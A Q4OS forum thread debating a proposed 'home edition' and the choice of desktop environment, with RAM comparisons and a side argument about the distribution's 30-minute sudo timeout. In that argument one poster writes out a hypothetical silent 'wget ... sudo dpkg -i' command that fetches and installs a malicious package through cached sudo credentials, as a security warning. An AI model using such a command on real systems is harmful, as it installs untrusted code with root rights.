Why not a Q4OS home edition?

ichbin1199 · 2016-08-18 16:49

Hi,

I've been using Q4OS on a daily basis at home on three different machines for more than a year and half now. I enjoy it a lot, especially with the KDE4 desktop and apper package manager (I kept trinity on a low spec machine because I like it too). Q4OS is really incredibly fast and stable with very low machine requirements. It is obviously the best debian/kde-based distro that I have used (obviously better than SolydK or Tanglu for example).

I often talk about that distro on forum or on youtube comments. All the youtubers that made videos on Q4OS think Trinity desktop is the only DE available. They does not know about the "altdeski" command because it is not highlighted at all, especially in the welcome menu (look the "ich bin ein linuxer" comments here for example : https://www.youtube.com/watch?v=A1n_DkFgE_k or here: https://www.youtube.com/watch?v=dtvvlPXtP2c )

I find it sad because a lot of Linux users wont like trinity so they won't use Q4OS. If they knew other DE are easily available, I think they would think about Q4OS twice and this may increase Q4OS fame and use. It can only be good for that great system.

So I think a Q4OS home edition, with KDE, XFCE and LXDE/QT and home applications (multimedia, communication...) pre-installed would be very great.

I guess it would be a lot of work for the Q4OS team and maybe it would not be possible. In that case, I think the team should highlight the availability of other DE (and even of newer kernel) on the site, on the install process text and on the welcome screen.

So what do you q4osers think about it?

Last edited by ichbin1199 (2016-08-18 17:19)

Rademes · 2016-08-21 19:00

ichbin1199 wrote:

So I think a Q4OS home edition, with KDE, XFCE and LXDE/QT and home applications (multimedia, communication...) pre-installed would be very great.

I think it would be very good to have Q4OS KDE version with KDE 4 as default desktop. KDE 4 is very popular desktop interface, and now, when major distributions had moved to unstable and very buggy KDE 5, Q4OS with KDE 4 will attract KDE 4 fans and more people will use it!
Personally I will definitely use Q4OS KDE 4 edition. Also I do not like to have two desktop interfaces installed together as it makes OS much heavier and can sometimes lead to unexpected errors.

Last edited by Rademes (2016-08-21 19:03)

orion · 2016-08-22 23:30

Hi, I personally believe that no exchange q4os to kde 4 or 5 because, already there are distros with that interface where choose. And by the way are much more heaviest in ram memory (which is not a virtue of kde 4 is almost three times heavier than trinity (TDE) and what attracted me Q4OS is precisely this environment Trinity much more light.)

Therefore more fast in machines “olds” and in the more modern (computer) trinity moves of wonder. Also while this environment graph is this developing officially, we shoulds give a chance. On the other hand to disperse efforts and resources to more than 2 graphics enviroments can do dilute the effectiveness and lead to not do well neither the one nor the other. Too much work. Is better focus efforts in do 1 environment , with excellent in performance and not wasting resources in 2, 3 or more. Many distributions have failed for this reason - dilute resources and efforts in various graphics enviroments , to end up with too many errors in all of them and losing fans .I personally vote by Trinity. And its development. Best regards.

https://www.trinitydesktop.org/

Last edited by orion (2016-08-22 23:31)

rafaelramos · 2016-08-23 18:11

For the Q4OS proposed, I think the Trinity is the best option...

bin · 2016-08-24 06:11

If it wasn't for the train crash that was KDE4 we would not have Trinity.

I may disagree with some of the decisions the Q4OS team have made - especially with desktop icons owned by root and the horrid security implications of the way they handle the life of the sudo account - but to get involved with KDE 4 would be daft.

One way would be to - for example - preload the standard apps and codecs, unlock all the configurations, then install XPQ4 and ship that as an iso.

In fairness to the Q4OS team the altdeski results are far from perfect and IMVHO they would be best dropped and resources put towards keeping in step with Trinity.

Dai_trying · 2016-08-24 08:30

I have always used the default desktop with Q4OS as I believe that it is the best option considering this distro was put together (it seems to me) around it, and therefore would receive the most attention from the devs in the event of any issues. I did just run altdeski for the first time though (out of curiosity) and was surprised to see LXQT there considering there are no "stable" distro's which use it. I have recently installed (for testing) the Sparky LXQT for testing but now realise I could test it with Q4OS should I need to.

And I agree that resources would be better spent on maintaining and improving a single desktop but that is just my 2 cents

On the other hand though more desktop environments could be tested with the Scorpion version as there are always things that can be learned for the future of the very stable Orion version.

q4osteam · 2016-08-24 09:15

bin wrote:

... desktop icons owned by root and the horrid security implications of the way they handle the life of the sudo account ...

Would you describe these points in more detail, please ? We will take an attention on that.

Rademes · 2016-08-24 15:36

bin wrote:

horrid security implications of the way they handle the life of the sudo account

Does sudo account is not handled just like in Debian? Except that delay before dropping sudo privileges, I haven`t noticed difference.

bin · 2016-08-25 06:58

It is the delay to which I refer. I recall many years ago the long and bitter arguments on the root or sudo subject. These days sudo is the accepted method in the desktop world.

If you effectively leave the sudo credentials 'cached', for want of a better phrase, then it means you are exposing your system - and therefore others - to all sorts of risks.

One of the big advantages of linux over windows is that with linux you can do all you need with user rights, but have the means of elevating those rights to admin level for installation of applications or carrying out modifications. Outside group policy controlled environments I would suggest most if not all windows machines run with admin rights all the time.

On a linux machine with normal sudo setup - say 3 minutes - you limit the window of opportunity for damage. What I have in mind is a silent script along the lines of wget http://something-nasty sudo dpkg -i something-nasty

I don't have the skills to mock that up, but it cannot be that hard and with social engineering plus blind reliance on 'linux is safe' it would be a good way of introducing 'malware' to a linux machine. Now, with normal sudo rules the chances of that working without popping up a sudo/gksudo/tdesu box are pretty small. However, with a 30 minute window of cached sudo it gets more interesting.

OK OK I know it is easy to change, but here Q4 flies in the face of accepted practise of all other linux distros I have used and IMVHO it does nothing to encourage users to keep security a high priority. Indeed I would go so far as to say it sacrifices security for the sake of convenience at a time when mobile phone users blindly tap 'accept' for all sorts of access rights for the latest must-have app which turns out to be an ad-slinging info-leaking pile of manure.

Sorry - I don't mean to offend anyone and the Q4 team have done a great job, but I find it hard to understand an approach that on the one hand locks down user configuration tools and yet leaves far more important sudo credentials cached for so long.

Just my 2p worth and I know it's my choice and if I don't like it I know what to do. I would just hate it for Q4 to become ground zero for a 'linux vulnerable to attack - lock up your daughters and grab the pitchforks' kind of hysteria as a result of something so silly.

q4osteam · 2016-08-25 09:48

bin wrote:

... I find it hard to understand an approach that on the one hand locks down user configuration tools and yet leaves far more important sudo credentials cached for so long ...

The intention is to simplify things for corporate users, regular users and newcomers. Sudo timeout has been chosen as an supposed optimal value between security and convenience. The default Debian value is 15 minutes, in Q4OS 30 minutes. A user can easily change the timeout as well as unlock more advanced Control panel configuration. Of course, it's a bit controversial topic and must not be satisfactory for everyone. In any case, we are listening our users carefully and we will try to tune Q4OS to be as usable as possible.

bin wrote:

I may disagree with some of the decisions the Q4OS team have made - especially with desktop icons owned by root...

Please see answer here http://www.q4os.org/forum/viewtopic.php?pid=4436#p4436

Rademes · 2016-08-25 12:40

I think 30 minutes of sudo timeout is very big value. 10 minutes would be enough.

ichbin1199 · 2016-08-27 15:16

Hi!

Thank you all for your thoughts.

Nevertheless I think much people here did not understand mine. Maybe it is because as a French guy, I don't speak English very well. I did not mean to drop Trinity at all. Trinity is indeed good for the professional purpose of Q4OS, that is currently his only purpose. I wanted to say it would be a good thing if the target was larger than only professional users in order to increase the popularity of that system. This new target could be the home users using windows 7 or 10 + the Linux lovers. The first would surly like a modern and powerful GUI like KDE and they will find Trinity "out of fashion" and out dated; and amongst the others, some prefer KDE, other XFCE and other LXDE/QT, so they wont use Q4OS if they don't find or if they think they won't find what they want and it will be the case as long as they won't know they can easily change the default desktop. For the first (the windows users), the only way we could make them love Q4OS and discover his quality would be to offer them a good and modern GUI out of the box. That's why I thought about a "home edition" beside the current professional edition. For the Linux users, I thought it would be great to let them know they don't have to stick with trinity if they don't like it or if they are used to use another desktop. That's why I said highlighting "altdeski" could be positive.

I think that increasing the use and popularity of Q4OS could increase incomes by donation but could also be good for building a larger Q4OS community that could also help the Q4OS team.

As a advanced Linux user, I don't need all of the things I am talking about. I already have done the changes I wanted to make my Q4OS systems fit my needs. What I love about Q4OS and made me use it is not especially Trinity. It is its lightweightness, its speed, its reliability, even with KDE running on top of it. I really would like to see more people enjoy it.

Dai_trying · 2016-08-27 17:52

I think the devs want to keep the iso's down to a pretty small size, I don't know many other distro's that have complete install with the same small download, and from there everything you want can be done quite easily and it is usually in the documentation too.

Seeker · 2016-09-25 08:48

I don't think Q4OS dev want to make any more other DE distro.
They want to keep it traditional & Unique as an TDE distro.
Beside too much flavors can cause windows users annoyed about too many choice.
If they make some Xfce distro I would feel a rivalry & want to make better than them.
I'm pretty sure there're some old KDE3 users that still disappointed with KDE4 & want KDE3 back that's why TDE revive them out.
Just like the way that Mate developers fork to revive gnome2.
I used to get mad at Kubuntu KDE4 for start with desktop plates it's annoying.
Q4OS & KDE Neon have a clean desktop that I like.

You know what? Q4OS is the only out of the box distro that I feel like to spend time to use without feeling rivalry.
While the other out of the box Xfce, KDE distro I feel rivalry like to make a better distro than them.

Last edited by Seeker (2016-09-25 08:49)

Timmi · 2017-10-01 02:14

You guys have digressed: there are 2 topics here.

(perhaps sudo timeout could appropriately be discussed in a thread dedicated to it's topic?)

Allow me to revert back to the original topic.

Timmi · 2017-10-01 02:22

Back to the topic of a Home Edition,
and an appropriate Desktop-Environment / Window Manager
as an alternate choice to Trinity, and which uses very little system resources:

Companies will keep hardware more up-to-date than home users, because productivity losses have annual costs thousands of times higher than using more up to date hardware. So I am thinking that Trinity (or KDE) is probably a great choice for a business edition (although the WinXP look may not appeal to most, not in 2017+), whereas having a faster, super-efficient home offering could be the path of least resistance into the minds and hearts of home users who own said businesses. They'll set it up for their young kids' first (recycled) computers, discover it, and start thinking of where else they can use it.

If you are looking for an alternative DesktopEnvironment/WindowManager, select one that is extremely efficient, but pleasant to use. Look for efficient programming... and no better place to start, is their memory footprint.

Window-Managers' memory footprints: I have researched and come across comparisons of the memory requirements of various window-managers, and xfce is not at all as well-positioned as it once was. It uses more RAM than Trinity or Maté. I think it has become overrated, and should no longer be the one we automatically think of when we want to create a lightweight distro.

For a Home Edition, substitutes to XFCE that are less resource-hungry, are:

Enlightenment, OpenBox (or FluxBox) :
Yes, there's Maté, but it uses about the same RAM as Trinity, so the only benefit would be the GNome2 look and feel... but do people really care? That is the question.
OpenBox and FluxBox both look great, use much less memory than any ones mentioned, but differ in their methods of configuration.
FluxBox seems to offer the most flexibility, but comes with the inconvenience of having to edit a text-file, which does not appeal to many users. (you may argue that most Linux users won't mind - but if you are talking about Apple and Windoze users, they really do mind - and that is 99% of the potential user base that you don't want to piss off). If a configuration front-end/cpanel were made for FluxBox, users can have the best of all worlds, and Q4os have something extra to set it apart.

You may ask, why not LXDE? There is a reason why I did not mention it. We used to have PepperMint on our Netbook, which uses LXDE with parts of xfce for it's configuration menus, but in the last few versions, it has quickly become much heavier (and no longer running acceptably. We've had to revert back to version 6, and I am now on the lookout for a replacement OS).

I've used Enlightenment in Bodhi Linux 4.x, and it is _very_ nice! Very pleasant aesthetics, and almost all settings in one place where you expect to find them. (it has only one caveat: the click-on-desktop to get a menu. it always cascades to the right, even if there is insufficient space to the right (instead of switching sides to the left like all software has been doing since the 80s. Enlightenment e17 is low-memory requirement, fast, pleasant to use, but would need this to be fixed, if this is considered as a WM/DE).

PS: Si vous dérirez discutter avec moi en Français, je demeure à votre disposition. Deutsch ist auch eine Möglichkeit.

Last edited by Timmi (2017-10-03 09:54)

Attachments:

Linux window managers desktop environments.png, Size: 32.49 KiB, Downloads: 760

Timmi · 2017-10-01 02:35

PS:
I had not even heard of Trinity before landing here in the past days.
I did not know it was a fork of KDE. I think that's great! (pardon my newbism)
I've always avoided KDE because it's such a memory hog with it's feet stuck in the mud.
But Trinity, according to the numbers I've seen, uses a few MB less RAM than xfce.
That is quite an improvement in program code efficiency for something that forked from KDE.

Last edited by Timmi (2017-10-03 15:28)

crosscourt · 2017-10-01 04:40

Im going to reiterate Dais comments above. Q4OS gets its identity from using Trinity and given it was specifically developed with that in mind, it remains the best choice as a DE. Staying focused on improving Q4OS with TDE is the best course of action overall and with the limited resources the devs have presently.

In regard to using other DE's it not difficult to use whatever you like and problems can be worked out individually thru the support forum.

In regards to resources in the above comments Mate isnt lighter than XFCE but both are excellent DE's.

I also use the classic desktop with Trinity on Q4OS and it works great,particularly with older hardware.

Timmi · 2017-10-03 10:23

Dai_trying wrote:

I think the devs want to keep the iso's down to a pretty small size, I don't know many other distro's that have complete install with the same small download, and from there everything you want can be done quite easily and it is usually in the documentation too.

Well, there is Slitaz, Porteus, Pupplets, that have smaller iso sizes, in case you were wondering.
(except the Porteus folks forgot to include a browser- Midori would have only added 1mb to their 250mb Maté iso (that would make it only 0.4% larger and is an example of stupid decisions some will make in order to keep ISO sizes smaller)).

If RAM usage is any indication, offering an OpenBox version may bring that ISO size down considerably. Or maybe Fluxbox looks better and with a cpanel might be a better choice, I don't know. There are WMs that use even less RAM, but won't win you any users on their looks.

Having an extra-light edition offering an alternative to the Windoze look and using less RAM might be something to consider.

But I think that software is king. Your needs dictate the software programs/apps to use, and they dictate what hardware, and OS you should be using to run those apps. If using a KDE-fork means access to more interesting programs than another WM, then that is a pretty good reason to stick with that one as the main edition.

Last edited by Timmi (2017-10-03 16:21)

Timmi · 2017-10-03 10:36

crosscourt wrote:

In regards to resources in the above comments Mate isnt lighter than XFCE but both are excellent DEs.

Indeed that is a common misperception, perpetrated from the time that xfce was actually using less ram than some larger DEs it had been compared to. Those who discovered and adopted xfce did what most people do: not re-visiting the issue and ignoring other WMs/DEs as they rose in popularity and availability on distros. Had they questioned, they would have discovered.

A not too old survey of memory footprint of the various windows managers can be found in attachment.
As you can see, XFCE is beat out by Maté, Trinity, LXDE, E17 (as used in Bodhi 4.3 Moksha), FluxBox, OpenBox, and many many many others.

Here are some RAM usage numbers from the attached comparison chart:
(more is worse)

MB.....WM NAME
3 i3
3 JWM
4.5 IceWM
7 OpenBox
13 FVWM
16 FluxBox
35 E17 (Moksha in Bodhi)
36 LXDE
41 KWin
42 MATÉ
55 Trinity
70 XFCE
79 Cinnamon
155 Gnome3
192 Unity
201 KDE (they don't say the version though - I'm guessing 4)

This is from some years ago, so your mileage will vary. It's all I found on the topic, but the relative rankings don't change all that much from one year to another (unless one of them decide to re-write their entire code from scratch in a more compact language - but that will change rankings for one of them, it won't re-order the whole list. And the trend is to use higher-level languages to save on development time but which produce heavier code - especially in the 64bit world).

Last edited by Timmi (2017-10-03 16:27)

Attachments:

Linux window managers desktop environments.png, Size: 32.49 KiB, Downloads: 704

crosscourt · 2017-10-03 22:27

I do testing of distros for various websites. Typically if you take a distro with a similar configuration/apps/64bit/settings and compare Mate to XFCE, heres the results I typically get, at main screen.

XFCE- 200-233 mbs
Mate- 235-275mbs

Some XFCE distros run below 200mbs but Ive never seen a Mate distro that can run that low.

I dont compare the DE alone to another DE as the results simply arent realistic. Testing the system in full gives you an excellent idea of what to expect with resource usage/performance in the real world.

I do my testing using the system in normal use at main screen after boot.

XFCE is remarkable being a full OS with excellent features yet still uses few resources.

What I find even more interesting is, that chart shows Mate using less resources than Trinity yet in the real world Q4OS feels faster and uses less resources than say Ubuntu Mate.

If I may ask what was the source for that chart and when was that chart created? Im curious as to how old the data is and what methodology they used to arrive at those numbers.

Last edited by crosscourt (2017-10-03 22:32)

Q4OS Forum

#1 2016-08-18 16:49

Why not a Q4OS home edition?

#2 2016-08-21 19:00

Re: Why not a Q4OS home edition?

#3 2016-08-22 23:30

Re: Why not a Q4OS home edition?

#4 2016-08-23 18:11

Re: Why not a Q4OS home edition?

#5 2016-08-24 06:11

Re: Why not a Q4OS home edition?

#6 2016-08-24 08:30

Re: Why not a Q4OS home edition?

#7 2016-08-24 09:15

Re: Why not a Q4OS home edition?

#8 2016-08-24 15:36

Re: Why not a Q4OS home edition?

#9 2016-08-25 06:58

Re: Why not a Q4OS home edition?

#10 2016-08-25 09:48

Re: Why not a Q4OS home edition?

#11 2016-08-25 12:40

Re: Why not a Q4OS home edition?

#12 2016-08-27 15:16

Re: Why not a Q4OS home edition?

#13 2016-08-27 17:52

Re: Why not a Q4OS home edition?

#14 2016-09-25 08:48

Re: Why not a Q4OS home edition?

#15 2017-10-01 02:14

Re: Why not a Q4OS home edition?

#16 2017-10-01 02:22

Re: Why not a Q4OS home edition?

#17 2017-10-01 02:35

Re: Why not a Q4OS home edition?

#18 2017-10-01 04:40

Re: Why not a Q4OS home edition?

#19 2017-10-03 10:23

Re: Why not a Q4OS home edition?

#20 2017-10-03 10:36

Re: Why not a Q4OS home edition?

#21 2017-10-03 22:27

Re: Why not a Q4OS home edition?

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